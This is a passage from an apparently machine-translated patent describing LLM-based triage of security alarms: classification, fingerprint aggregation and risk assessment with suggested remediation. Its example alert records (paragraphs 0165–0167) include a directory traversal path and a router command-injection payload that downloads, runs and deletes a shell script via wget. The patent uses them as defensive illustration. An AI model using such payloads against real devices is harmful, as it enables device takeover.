[0162] In specific implementation, multiple second alarm data to be processed in the second candidate set are input into the pre-trained second largest model, and the semantic understanding, knowledge reasoning and natural language generation capabilities of the second largest model are fully utilized to output the evaluation results and processing strategies for each second alarm data to be processed.

[0163] The assessment results include attack type, threat level assessment, attack result analysis, alarm data description, etc. The processing strategies include security suggestions such as changing weak passwords, prohibiting access, patch updates, policy adjustments, and preparing emergency plans.

[0164] For example, Figure 7 As shown, a second piece of unprocessed alarm data is input into the pre-trained second largest model to obtain the evaluation result and processing strategy of the second piece of unprocessed alarm data. As shown in the figure, the input of the second largest model is:

[0165] {"Source IP":"192.168.1.1","Destination IP":"192.168.1.2","Threat Name":"Weak Password","num":5,"result":"Success","payload":"GET / login.html?userName=admin&passWd=admin"}

[0166] {"Source IP":"192.168.1.1","Destination IP":"192.168.1.2","Threat Name":"Directory Traversal Attack Behavior Found","num":10,"result":"Failed","payload":"GET / GET / search?NS-query-pat=..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini"}

[0167] {"Source IP":"192.168.1.1","Destination IP":"192.168.1.2","Threat Name":"Bot Random Sweep","num":5,"result":success","payload":"GET / cgi-bin / luci / ;stok= / locale?form=country&operation=write&country=$(cd+%2Ftmp%3B+wget+http%3A%2F%2F3%2Fsh+%3B+chmod+777+sh%3B+.%2Fsh+tplink%3B+rm+-rf+sh)"}

[0168] The output of the second largest model is:

[0169] Attack type: network attack, weak password cracking;

[0170] Threat Level: High;

[0171] Attack result: Success;

[0172] Alarm data description:

[0173] reconnaissance: The attacker launched a directory traversal attack from 192.168.1.1, trying to obtain sensitive information;

[0174] Exploitation: The attacker uses weak password cracking technology to successfully log in to the target system 192.168.1.2;

[0175] Command and control: The attacker executed malicious commands through the cgi-bin / luci interface, downloaded and executed malicious shell scripts, and obtained high-level permissions;

[0176] Treatment strategy:

[0177] Immediately change weak passwords to strong ones;

[0178] Prohibit access from untrusted IP addresses;

[0179] Monitor and analyze the access log of cgi-bin / luci interface;

[0180] Scan and remove malicious shell scripts from your system.

[0181] In this embodiment, the semantic understanding and generalization capabilities of the second largest model are used to analyze and judge multiple second alarm data to be processed, and correct evaluation results and processing strategies are given, which improves the accuracy and generalization ability of alarm noise reduction, as well as the efficiency and accuracy of security operations.

[0182] During training, it is necessary to obtain the second alarm data sample set and the labeled data of the second alarm data sample set, and fine-tune the large language model based on the second alarm data sample set and the labeled data of the second alarm data sample set to obtain the second large model, so as to enhance the model's generalization ability for data, so that it can adapt to security alarm data from different sources and types, and can quickly adapt to new security threats and events.

[0183] The annotated data of the second alarm data sample set are the evaluation results and processing strategies of the annotations of each second alarm data sample in the manually annotated second alarm data sample set.

[0184] Furthermore, when fine-tuning the large language model based on the second alarm data sample set and the annotated data of the second alarm data sample set, special optimization techniques such as adversarial training and cyclical learning rate adjustment are used to improve the generalization ability of the model. At the same time, some regularization methods such as weight decay and label smoothing are introduced to alleviate the overfitting problem. Finally, a second large model that can efficiently adapt to the target scene is obtained, which significantly improves the performance of the model on security alarm data.

[0185] The fine-tuned second largest model, that is, the pre-trained second largest model, is used to analyze and judge multiple second alarm data to be processed in the second candidate set, and the evaluation results and processing strategies for each second alarm data to be processed are output, thereby improving the efficiency and accuracy of security operations.

[0186] In some embodiments, after determining the evaluation result and processing strategy of each piece of second alarm data to be processed, step 205 may be executed to process the plurality of pieces of second alarm data to be processed respectively based on the evaluation result and processing strategy of each piece of second alarm data to be processed.

[0187] In another embodiment, after determining the evaluation result and processing strategy of each second alarm data to be processed, the evaluation result and processing strategy of each second alarm data to be processed can also be displayed to the user through a display interface, so that the user can perform corresponding manual processing on multiple second alarm data to be processed according to the evaluation result and processing strategy of each second alarm data to be processed.

[0188] Based on the description in the foregoing, a plurality of alarm data to be processed and attribute information of each alarm data to be processed are obtained; the plurality of alarm data to be processed are classified and processed to obtain the alarm category of each alarm data to be processed and a first candidate set including a plurality of first alarm data to be processed with correct alarms; based on the attribute information of the plurality of first alarm data to be processed, the plurality of first alarm data to be processed are aggregated and processed to obtain a second candidate set including a plurality of second alarm data to be processed; a risk assessment is performed on each second alarm data to be processed to obtain an assessment result and a processing strategy for each second alarm data to be processed; based on the assessment result and the processing strategy for each second alarm data to be processed, the plurality of second alarm data to be processed are processed respectively.

[0189] Therefore, the semantic understanding and generalization capabilities of the first model are used to process various heterogeneous input data, capture key information in different formats and with different semantics, perform the first screening on multiple alarm data to be processed, and then use the alarm fingerprint for the second screening. Finally, the semantic understanding and generalization capabilities of the second model are used to analyze and judge multiple second alarm data to be processed, and provide correct evaluation results and processing strategies, effectively integrating heterogeneous alarm data, eliminating the noise of heterogeneous alarm data, improving the accuracy and generalization ability of alarm noise reduction, and improving the efficiency and accuracy of security operations.

[0190] Based on the same technical concept, an embodiment of the present application also provides a device for processing alarm data. The principle of solving the problem by the device for processing alarm data is similar to that of the above-mentioned method for processing alarm data. Therefore, the implementation of the device for processing alarm data can refer to the implementation of the method for processing alarm data, and the repeated parts will not be repeated.

[0191] Figure 8 A schematic diagram of the structure of a device for processing alarm data provided in an embodiment of the present application, the device includes an acquisition module 801, a classification module 802, an aggregation module 803, a judgment module 804, and a processing module 805, wherein:

[0192] The acquisition module 801 is used to acquire multiple pieces of alarm data to be processed and attribute information of each piece of alarm data to be processed;

[0193] The classification module 802 is used to classify the multiple alarm data to be processed, and obtain the alarm category of each alarm data to be processed, and a first candidate set; the first candidate set includes multiple first alarm data to be processed whose alarm category is correct alarm;

[0194] Aggregation module 803, used for aggregating the plurality of first alarm data to be processed based on the attribute information of the plurality of first alarm data to be processed to obtain a second candidate set; the second candidate set includes the plurality of second alarm data to be processed;

[0195] The analysis module 804 is used to perform risk assessment on each of the plurality of second alarm data to be processed, and obtain an assessment result and a processing strategy for each of the second alarm data to be processed;

[0196] The processing module 805 is used to process the plurality of second alarm data to be processed respectively based on the evaluation result and processing strategy of each piece of second alarm data to be processed.

[0197] In some embodiments, the classification module 802 is specifically configured to:

[0198] Inputting a plurality of to-be-processed alarm data into a pre-trained first large model to obtain an alarm category of each to-be-processed alarm data;

[0199] The first large model is obtained by training the large language model through the first alarm data sample set and the alarm category annotated for each first alarm data sample in the first alarm data sample set.

[0200] In some embodiments, the classification module 802 is further configured to:

[0201] Comparing the plurality of to-be-processed alarm data with the alarm data stored in the security knowledge database, and determining the alarm category of the to-be-processed alarm data that is the same as the alarm data stored in the security knowledge database; and / or,

[0202] Based on the configured classification rules, some of the multiple pieces of alarm data to be processed are classified and processed to determine the alarm categories corresponding to each of the parts of the alarm data to be processed.

[0203] In some embodiments, the analysis module 804 is specifically used to:

[0204] Inputting a plurality of second alarm data to be processed into a pre-trained second largest model to obtain an evaluation result and a processing strategy for each second alarm data to be processed;

[0205] The second largest model is obtained by training the large language model through the second alarm data sample set, and the evaluation results and processing strategies annotated for each second alarm data sample in the second alarm data sample set.

[0206] In some embodiments, the aggregation module 803 is specifically configured to:

[0207] Determining at least one first piece of alarm data to be processed having the same alarm fingerprint based on the attribute information of the plurality of first alarm data to be processed;

[0208] Aggregate at least one first alarm data to be processed to obtain second alarm data to be processed corresponding to the at least one first alarm data to be processed, and generate a second candidate set.

[0209] In some embodiments, the aggregation module 803 is specifically configured to:

[0210] Based on the attribute information of the plurality of first alarm data to be processed, feature extraction is performed on the plurality of first alarm data to be processed to obtain feature vectors of the plurality of first alarm data to be processed;

[0211] For every two pieces of first pending alarm data:

[0212] Determine the similarity between the two pieces of first alarm data to be processed based on the feature vectors of the two pieces of first alarm data to be processed;

[0213] If the similarity between the two first alarm data to be processed is greater than the similarity threshold, it is determined that the alarm fingerprints of the two first alarm data to be processed are the same.

[0214] The division of modules in the embodiments of the present application is schematic and is only a logical function division. There may be other division methods in actual implementation. In addition, the functional modules in the embodiments of the present application may be integrated in a processor, or may exist physically separately, or two or more modules may be integrated in one module. The coupling between the modules may be achieved through some interfaces, which are usually electrical communication interfaces, but it is not excluded that they may be mechanical interfaces or other forms of interfaces. Therefore, the modules described as separate components may or may not be physically separated, and may be located in one place or distributed to different locations of the same or different devices. The above-mentioned integrated modules may be implemented in the form of hardware or in the form of software functional modules.

[0215] After introducing a method and device for processing alarm data according to an exemplary embodiment of the present application, next, an electronic device according to another exemplary embodiment of the present application is introduced.

[0216] Refer to the following Fig. 9 The electronic device 130 implemented according to this embodiment of the present application is described. Fig. 9 The electronic device 130 shown is merely an example and should not bring any limitation to the functions and scope of use of the embodiments of the present application.

[0217] like Fig. 9As shown, the electronic device 130 is in the form of a general electronic device. The components of the electronic device 130 may include but are not limited to: at least one processor 131, at least one memory 132, and a bus 133 connecting different system components (including the memory 132 and the processor 131).

[0218] Among them, at least one memory 132 stores a computer program that can be executed by at least one processor 131. When the computer program is executed by at least one processor 131, the at least one processor 131 can execute the steps of any alarm data processing method provided in the embodiments of the present application.

[0219] Bus 133 represents one or more of several types of bus structures, including a memory bus or memory controller, a peripheral bus, a processor, or a local bus using any of a variety of bus architectures.

[0220] The memory 132 may include a readable medium in the form of a volatile memory, such as a random access memory (RAM) 1321 and / or a cache memory 1322 , and may further include a read-only memory (ROM) 1323 .

[0221] The memory 132 may also include a program / utility 1325 having a set (at least one) of program modules 1324, such program modules 1324 including but not limited to: an operating system, one or more application programs, other program modules, and program data, each of which or some combination may include an implementation of a network environment.

[0222] The electronic device 130 may also communicate with one or more external devices 134 (e.g., keyboards, pointing devices, etc.), may also communicate with one or more devices that enable a user to interact with the electronic device 130, and / or communicate with any device that enables the electronic device 130 to communicate with one or more other electronic devices (e.g., routers, modems, etc.). Such communication may be performed via an input / output (I / O) interface 135. Furthermore, the electronic device 130 may also communicate with one or more networks (e.g., a local area network (LAN), a wide area network (WAN), and / or a public network, such as the Internet) via a network adapter 136. As shown, the network adapter 136 communicates with other modules for the electronic device 130 via a bus 133. It should be understood that, although not shown in the figure, other hardware and / or software modules may be used in conjunction with the electronic device 130, including but not limited to: microcode, device drivers, redundant processors, external disk drive arrays, RAID systems, tape drives, and data backup storage systems.

[0223] In an exemplary embodiment, a computer storage medium is also provided, and when a computer program in the computer storage medium is executed by a processor of an electronic device, the electronic device can perform any of the above-mentioned methods for processing alarm data. Optionally, the storage medium can be a non-temporary computer-readable storage medium, for example, the non-temporary computer-readable storage medium can be a ROM, a random access memory (RAM), a CD-ROM, a magnetic tape, a floppy disk, an optical data storage device, etc.

[0224] In an exemplary embodiment, a computer program product is also provided. When the computer program product is executed by an electronic device, the electronic device can implement the steps of any alarm data processing method provided in the present application.

[0225] Furthermore, the computer program product may use any combination of one or more readable media. The readable medium may be a readable signal medium or a readable storage medium. The readable storage medium may be, for example, but not limited to, an electrical, magnetic, optical, electromagnetic, infrared, or semiconductor system, device or device, or any combination of the above. More specific examples (non-exhaustive list) of readable storage media include: an electrical connection with one or more wires, a portable disk, a hard disk, a RAM, a ROM, an erasable programmable read-only memory (EPROM), a flash memory, an optical fiber, a compact disk read only memory (CD-ROM), an optical storage device, a magnetic storage device, or any suitable combination of the above.

[0226] The program product for device discovery in the embodiment of the present application may adopt a CD-ROM and include program code, and may be run on a computing device. However, the program product of the present application is not limited thereto, and in this document, a readable storage medium may be any tangible medium containing or storing a program, which may be used by or in combination with an instruction execution system, apparatus, or device.

[0227] The readable signal medium may include a data signal propagated in baseband or as part of a carrier wave, wherein the readable program code is carried. Such propagated data signals may take a variety of forms, including but not limited to electromagnetic signals, optical signals, or any suitable combination of the above. The readable signal medium may also be any readable medium other than a readable storage medium, which may send, propagate, or transmit a program for use by or in conjunction with an instruction execution system, apparatus, or device.

[0228] The program code contained on the readable medium may be transmitted using any appropriate medium, including but not limited to wireless, wired, optical cable, radio frequency (RF), etc., or any suitable combination of the foregoing.

[0229] Program code for performing the operations of the present application may be written in any combination of one or more programming languages, including object-oriented programming languages ​​such as Java, C++, etc., and conventional procedural programming languages ​​such as "C" or similar programming languages. The program code may be executed entirely on the user computing device, partially on the user device, as a separate software package, partially on the user computing device and partially on a remote computing device, or entirely on a remote computing device or server. In the case of a remote computing device, the remote computing device may be connected to the user computing device via any type of network such as a local area network (LAN) or a wide area network (WAN), or may be connected to an external computing device (e.g., via the Internet using an Internet service provider).

[0230] It should be noted that, although several units or subunits of the device are mentioned in the above detailed description, this division is merely exemplary and not mandatory. In fact, according to the embodiments of the present application, the features and functions of two or more units described above can be embodied in one unit. Conversely, the features and functions of one unit described above can be further divided into multiple units to be embodied.

[0231] In addition, although the operations of the method of the present application are described in a specific order in the drawings, this does not require or imply that the operations must be performed in this specific order, or that all the operations shown must be performed to achieve the desired results. Additionally or alternatively, some steps may be omitted, multiple steps may be combined into one step, and / or one step may be decomposed into multiple steps.

[0232] Those skilled in the art will appreciate that the embodiments of the present application may be provided as methods, systems, or computer program products. Therefore, the present application may adopt the form of a complete hardware embodiment, a complete software embodiment, or an embodiment in combination with software and hardware. Moreover, the present application may adopt the form of a computer program product implemented in one or more computer-usable storage media (including but not limited to disk storage, CD-ROM, optical storage, etc.) that include computer-usable program code.

[0233] The present application is described with reference to the flowcharts and / or block diagrams of the methods, apparatus (systems), and computer program products according to the embodiments of the present application. It should be understood that each process and / or block in the flowchart and / or block diagram, as well as the combination of the processes and / or blocks in the flowchart and / or block diagram, can be implemented by computer program instructions. These computer program instructions can be provided to a processor of a general-purpose computer, a special-purpose computer, an embedded processor, or other programmable data processing device to generate a machine, so that the instructions executed by the processor of the computer or other programmable data processing device generate instructions for implementing the processes in the flowchart and / or block diagram. Figure 1 A process or multiple processes and / or boxes Figure 1 A device that provides the functions specified in a block or multiple blocks.

[0234] These computer program instructions may also be stored in a computer-readable memory capable of directing a computer or other programmable data processing device to operate in a specific manner, so that the instructions stored in the computer-readable memory produce an article of manufacture comprising an instruction device, which implements the process Figure 1 A process or multiple processes and / or boxes Figure 1 A function specified in one or more boxes.

[0235] These computer program instructions can also be loaded onto a computer or other programmable data processing device so that a series of operating steps are executed on the computer or other programmable device to produce a computer-implemented process, thereby providing instructions for implementing the process. Figure 1 A process or multiple processes and / or boxes Figure 1 The steps for the functions specified in one or more boxes.

[0236] Although the preferred embodiments of the present application have been described, those skilled in the art may make additional changes and modifications to these embodiments once they have learned the basic creative concept. Therefore, the appended claims are intended to be interpreted as including the preferred embodiments and all changes and modifications falling within the scope of the present application.

[0237] Obviously, those skilled in the art can make various changes and modifications to the present application without departing from the spirit and scope of the present application. Thus, if these modifications and variations of the present application fall within the scope of the claims of the present application and their equivalents, the present application also includes these modifications and variations.

Claims

1. A method for processing alarm data, characterized in that: The method comprises: Acquire multiple pieces of to-be-processed alarm data and attribute information of each piece of to-be-processed alarm data in the multiple pieces of to-be-processed alarm data; Classify the multiple pieces of to-be-processed alarm data to obtain an alarm category of each piece of to-be-processed alarm data and a first candidate set; the first candidate set includes multiple pieces of first to-be-processed alarm data whose alarm categories are correct alarms; Based on the attribute information of the plurality of first alarm data to be processed, the plurality of first alarm data to be processed are aggregated to obtain a second candidate set; the second candidate set includes the plurality of second alarm data to be processed; Performing risk assessment on each of the plurality of second alarm data to be processed to obtain an assessment result and a processing strategy for each of the second alarm data to be processed; Based on the evaluation result and processing strategy of each piece of second alarm data to be processed, the plurality of second alarm data to be processed are processed respectively.

2. The method according to claim 1, characterized in that The classifying and processing the plurality of pieces of to-be-processed alarm data to obtain the alarm category of each piece of to-be-processed alarm data includes: Inputting the plurality of pieces of to-be-processed alarm data into a pre-trained first large model to obtain an alarm category of each piece of to-be-processed alarm data; The first large model is obtained by training a large language model through the first alarm data sample set and the alarm category annotated for each first alarm data sample in the first alarm data sample set.

3. The method according to claim 2, characterized in that Before inputting the plurality of pieces of to-be-processed alarm data into the pre-trained first large model to obtain the alarm category of each piece of to-be-processed alarm data, the classification processing of the plurality of to-be-processed alarm data further includes: Comparing the plurality of to-be-processed alarm data with the alarm data stored in the security knowledge database, and determining the alarm category of the to-be-processed alarm data that is the same as the alarm data stored in the security knowledge database; and / or, Based on the configured classification rules, some of the plurality of pieces of alarm data to be processed are classified and processed to determine the alarm categories corresponding to each of the parts of the alarm data to be processed.

4. The method according to claim 1, characterized in that The performing risk assessment on each of the plurality of second alarm data to be processed to obtain an assessment result and a processing strategy for each second alarm data to be processed includes: Inputting the plurality of second alarm data to be processed into a pre-trained second largest model to obtain an evaluation result and a processing strategy for each second alarm data to be processed; The second large model is obtained by training the large language model through the second alarm data sample set, and the evaluation results and processing strategies annotated for each second alarm data sample in the second alarm data sample set.

5. The method according to claim 1, characterized in that The aggregating the plurality of first alarm data to be processed based on the attribute information of the plurality of first alarm data to be processed to obtain a second candidate set includes: Based on the attribute information of the plurality of pieces of first alarm data to be processed, determining at least one piece of first alarm data to be processed having the same alarm fingerprint; The at least one first alarm data to be processed is aggregated to obtain second alarm data to be processed corresponding to the at least one first alarm data to be processed, and a second candidate set is generated.

6. The method according to claim 5, characterized in that The determining, based on the attribute information of the plurality of first alarm data to be processed, at least one first alarm data to be processed having the same alarm fingerprint comprises: Based on the attribute information of the plurality of first alarm data to be processed, feature extraction is performed on the plurality of first alarm data to be processed to obtain feature vectors of the plurality of first alarm data to be processed; For every two pieces of first pending alarm data: Determining the similarity between the two pieces of first alarm data to be processed based on the feature vectors of the two pieces of first alarm data to be processed; If the similarity between the two first alarm data to be processed is greater than the similarity threshold, it is determined that the alarm fingerprints of the two first alarm data to be processed are the same.

7. The method according to any one of claims 1 to 6, characterized in that: The attribute information includes the timestamp, attack type, source IP, destination IP and port number of the alarm data to be processed.

8. A device for processing alarm data, characterized in that: The device comprises: An acquisition module, used to acquire multiple pieces of to-be-processed alarm data and attribute information of each piece of to-be-processed alarm data; A classification module, used for classifying the plurality of alarm data to be processed, obtaining an alarm category of each alarm data to be processed, and a first candidate set; the first candidate set includes a plurality of first alarm data to be processed whose alarm categories are correct alarms; an aggregation module, configured to aggregate the plurality of first alarm data to be processed based on the attribute information of the plurality of first alarm data to be processed to obtain a second candidate set; the second candidate set includes the plurality of second alarm data to be processed; An analysis and judgment module, used for performing risk assessment on each of the plurality of second alarm data to be processed, and obtaining an assessment result and a processing strategy for each second alarm data to be processed; The processing module is used to process the plurality of second alarm data to be processed respectively based on the evaluation result and processing strategy of each second alarm data to be processed.

9. An electronic device, characterized in that: include: at least one processor, and a memory communicatively connected to the at least one processor, wherein: The memory stores a computer program executable by the at least one processor, and the computer program is executed by the at least one processor so that the at least one processor can perform the method according to any one of claims 1 to 7.

10. A computer storage medium, characterized in that: When the computer program in the computer storage medium is executed by a processor of an electronic device, the electronic device can execute the method according to any one of claims 1 to 7.

Images